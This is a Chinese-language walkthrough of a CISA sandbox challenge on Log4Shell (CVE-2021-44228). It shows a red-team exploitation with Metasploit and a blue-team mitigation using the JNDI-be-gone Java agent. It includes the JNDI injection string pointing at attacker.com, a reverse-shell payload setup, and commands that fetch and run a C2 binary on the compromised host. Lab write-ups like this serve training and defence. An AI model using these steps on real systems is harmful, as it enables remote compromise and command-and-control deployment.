CISA Log4Shell 沙箱挑战的分步演练,涵盖通过 Metasploit 进行攻击性利用以及使用 JNDI-be-gone Java 代理进行防御性缓解。
本演练记录了完成 CISA 威胁沙箱挑战(CVE-2021-44228,俗称 Log4Shell)所采取的步骤。该挑战涉及在一个隔离的沙箱环境中,针对虚构的 IT 管理服务提供商(MSP)DasMSP 完成两个目标——一个红队(攻击方)目标和一个蓝队(防御方)目标。
注意: 本演练中的命令和文件路径反映了在此环境中采取的具体步骤。您的环境可能有所不同,包括 IP 地址、文件位置和工具可用性。请根据您的配置调整命令。
CVE-2021-44228 是一个影响特定版本 Apache Log4j Java 日志框架的严重远程代码执行(RCE)漏洞(CVSS 10.0)。该漏洞源于 Log4j 的 JNDI 查找功能,该功能可通过将诸如 ${jndi:ldap://attacker.com/exploit} 之类的特制字符串注入 Log4j 所记录的任何数据来触发。如果攻击者能够让易受攻击的应用程序记录恶意字符串(通常通过 HTTP 头),Log4j 将联系攻击者控制的服务器并执行任意代码。
Log4Shell 于 2021 年 12 月 10 日被添加到 CISA 的已知被利用漏洞(KEV)目录,并出现在 2021 年和 2022 年“经常被利用的顶级漏洞”联合公告中。
| 机器 | IP |
|---|---|
| Security-Desk | <Security-Desk-IP> |
| Red Target | <Red-Target-IP> |
| Blue Target | <Blue-Target-IP> |
两个目标系统均为 Linux,并运行一个易受攻击的 Java Web 应用程序(dasmsp.jar),该程序使用了受影响的 Log4j 版本。
exploit/multi/http/log4shell_header_injection)在 Security-Desk 上打开终端并启动 Metasploit:
msfconsole
简报中提供的模块路径与已安装版本不匹配。搜索正确的模块:
search log4shell
识别出正确的模块:exploit/multi/http/log4shell_header_injection。
use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>
run
Metasploit 自动针对多个 HTTP 头部测试了 Log4Shell 漏洞。红色目标被确认在多个头部(Authorization、Cache-Control、User-Agent、X-Forwarded-For 等)上存在漏洞。一个命令 shell 会话被打开到红色目标。
确认在红色目标上拥有 root 级别访问权限:
id
输出:uid=0(root) gid=0(root) groups=0(root)
deploy_c2 二进制文件位于 Security-Desk 上,而非红色目标上。目标上既没有 wget,也没有直接路径引用。在 Security-Desk 上打开第二个终端并通过 Python 提供文件服务:
cd ~/Desktop/Resources
python3 -m http.server 8080
回到红色目标上的 Metasploit shell 会话中,下载并执行二进制文件:
curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
输出:Done!
✅ C2 监听器已在红色目标上部署 检查已确认。
所使用的缓解方法是由 NCC Group 开发的 log4j-jndi-be-gone-standalone.jar Java 代理,它在运行时修补 JNDI 查找行为,无需修补底层应用程序。有关此代理的详细信息,请参阅 NCC Group 研究博客。
从 Security-Desk 终端,使用 SCP 传输 Java 代理 JAR 文件:
scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/
ssh playerone@<Blue-Target-IP>
sudo nano /etc/systemd/system/dasmsp.service
找到 ExecStart 行并添加 -javaagent 标志:
之前:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar
之后:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar
使用 Ctrl+O → Enter → Ctrl+X 保存。
sudo systemctl daemon-reload
sudo systemctl restart dasmsp
✅ CVE-2021-44228 已在蓝色目标上缓解 检查已确认。